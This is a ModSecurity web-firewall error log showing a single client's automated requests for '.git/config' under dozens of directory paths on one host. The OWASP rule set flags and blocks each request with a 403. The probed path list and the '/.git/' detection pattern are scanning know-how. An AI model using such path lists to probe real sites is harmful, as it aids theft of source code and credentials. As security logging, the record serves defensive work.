[Thu Jan 16 14:20:44.772132 2025] [:error] [pid 510617] [client 45.135.232.70:48444] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /qa/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiKAAAAAs&quot;]
[Thu Jan 16 14:20:44.772496 2025] [:error] [pid 510617] [client 45.135.232.70:48444] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiKAAAAAs&quot;]
[Thu Jan 16 14:20:44.772736 2025] [:error] [pid 510617] [client 45.135.232.70:48444] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiKAAAAAs&quot;]
[Thu Jan 16 14:20:44.769660 2025] [:error] [pid 510631] [client 45.135.232.70:48834] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWQAAAA4&quot;]
[Thu Jan 16 14:20:44.774110 2025] [:error] [pid 510631] [client 45.135.232.70:48834] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/mail/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWQAAAA4&quot;]
[Thu Jan 16 14:20:44.774893 2025] [:error] [pid 510629] [client 45.135.232.70:48334] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /new/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0gAAAAw&quot;]
[Thu Jan 16 14:20:44.775201 2025] [:error] [pid 510629] [client 45.135.232.70:48334] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0gAAAAw&quot;]
[Thu Jan 16 14:20:44.775446 2025] [:error] [pid 510629] [client 45.135.232.70:48334] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0gAAAAw&quot;]
[Thu Jan 16 14:20:44.782542 2025] [:error] [pid 510637] [client 45.135.232.70:48586] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/modules/api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/modules/api/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcwAAAA8&quot;]
[Thu Jan 16 14:20:44.782751 2025] [:error] [pid 510637] [client 45.135.232.70:48586] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/modules/api/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcwAAAA8&quot;]
[Thu Jan 16 14:20:44.782927 2025] [:error] [pid 510637] [client 45.135.232.70:48586] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/modules/api/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcwAAAA8&quot;]
[Thu Jan 16 14:20:44.807608 2025] [:error] [pid 500653] [client 45.135.232.70:48408] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /__macosx/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNCAAAAAE&quot;]
[Thu Jan 16 14:20:44.807923 2025] [:error] [pid 500653] [client 45.135.232.70:48408] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNCAAAAAE&quot;]
[Thu Jan 16 14:20:44.808149 2025] [:error] [pid 500653] [client 45.135.232.70:48408] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNCAAAAAE&quot;]
[Thu Jan 16 14:20:44.859392 2025] [:error] [pid 510615] [client 45.135.232.70:48608] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sgAAAAk&quot;]
[Thu Jan 16 14:20:44.859927 2025] [:error] [pid 510615] [client 45.135.232.70:48608] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sgAAAAk&quot;]
[Thu Jan 16 14:20:44.860350 2025] [:error] [pid 510615] [client 45.135.232.70:48608] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0sgAAAAk&quot;]
[Thu Jan 16 14:20:44.891061 2025] [:error] [pid 500655] [client 45.135.232.70:48556] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/user/api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/user/api/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzgAAAAAM&quot;]
[Thu Jan 16 14:20:44.891189 2025] [:error] [pid 510616] [client 45.135.232.70:48424] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/cloud/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/cloud/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NwAAAAo&quot;]
[Thu Jan 16 14:20:44.891442 2025] [:error] [pid 500655] [client 45.135.232.70:48556] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/user/api/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzgAAAAAM&quot;]
[Thu Jan 16 14:20:44.891719 2025] [:error] [pid 500655] [client 45.135.232.70:48556] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/user/api/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzgAAAAAM&quot;]
[Thu Jan 16 14:20:44.891813 2025] [:error] [pid 510616] [client 45.135.232.70:48424] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/cloud/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NwAAAAo&quot;]
[Thu Jan 16 14:20:44.892309 2025] [:error] [pid 510616] [client 45.135.232.70:48424] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/cloud/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NwAAAAo&quot;]
[Thu Jan 16 14:20:44.893625 2025] [:error] [pid 507252] [client 45.135.232.70:48734] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrgAAAAc&quot;]
[Thu Jan 16 14:20:44.893921 2025] [:error] [pid 507252] [client 45.135.232.70:48734] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrgAAAAc&quot;]
[Thu Jan 16 14:20:44.894209 2025] [:error] [pid 507252] [client 45.135.232.70:48734] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNrgAAAAc&quot;]
[Thu Jan 16 14:20:44.902326 2025] [:error] [pid 510631] [client 45.135.232.70:48538] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWgAAAA4&quot;]
[Thu Jan 16 14:20:44.904757 2025] [:error] [pid 501744] [client 45.135.232.70:48580] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /a/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGwAAAAY&quot;]
[Thu Jan 16 14:20:44.905169 2025] [:error] [pid 501744] [client 45.135.232.70:48580] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGwAAAAY&quot;]
[Thu Jan 16 14:20:44.905448 2025] [:error] [pid 501744] [client 45.135.232.70:48580] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlGwAAAAY&quot;]
[Thu Jan 16 14:20:44.906273 2025] [:error] [pid 510631] [client 45.135.232.70:48538] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWgAAAA4&quot;]
[Thu Jan 16 14:20:44.906534 2025] [:error] [pid 510631] [client 45.135.232.70:48538] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExWgAAAA4&quot;]
[Thu Jan 16 14:20:44.908234 2025] [:error] [pid 510617] [client 45.135.232.70:48716] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiKQAAAAs&quot;]
